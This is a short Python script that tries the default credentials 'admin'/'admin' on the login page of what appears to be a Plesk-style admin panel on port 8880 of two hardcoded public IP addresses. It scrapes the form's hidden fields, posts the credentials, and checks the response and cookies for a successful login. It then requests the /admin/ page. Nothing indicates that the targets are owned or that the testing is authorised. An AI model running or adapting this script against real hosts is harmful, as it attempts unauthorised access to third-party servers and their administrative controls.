import asyncio, re
import aiohttp

HOSTS = ["154.56.134.178", "154.56.134.221"]

async def main():
    tout = aiohttp.ClientTimeout(total=30)
    for ip in HOSTS:
        base = f"http://{ip}:8880"
        async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
            async with s.get(base + "/login_up.php", ssl=False) as r:
                html = await r.text()
            fields = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
            for k in ("login_name", "passwd"):
                fields.pop(k, None)
            fields.update({"login_name": "admin", "passwd": "admin"})
            fields.setdefault("locale_id", "en-US")
            async with s.post(base + "/login_up.php", data=fields, ssl=False, allow_redirects=True) as r2:
                body = await r2.text()
                final = str(r2.url)
                cookies = {c.key: c.value for c in s.cookie_jar}
            low = body.lower()
            print(f"== {ip} final={final} cookie_keys={list(cookies.keys())} len={len(body)}")
            print("   incorrect:", "incorrect" in low, " logout:", "logout" in low)
            m = re.search(r"(?is)<title[^>]*>(.*?)</title>", body)
            print("   title:", (m.group(1).strip()[:60] if m else ""))
            # follow to admin
            async with s.get(base + "/admin/", ssl=False) as r3:
                b3 = await r3.text()
            m3 = re.search(r"(?is)<title[^>]*>(.*?)</title>", b3)
            print(f"   /admin/ -> {r3.status} title={m3.group(1).strip()[:60] if m3 else ''} len={len(b3)}")

asyncio.run(main())
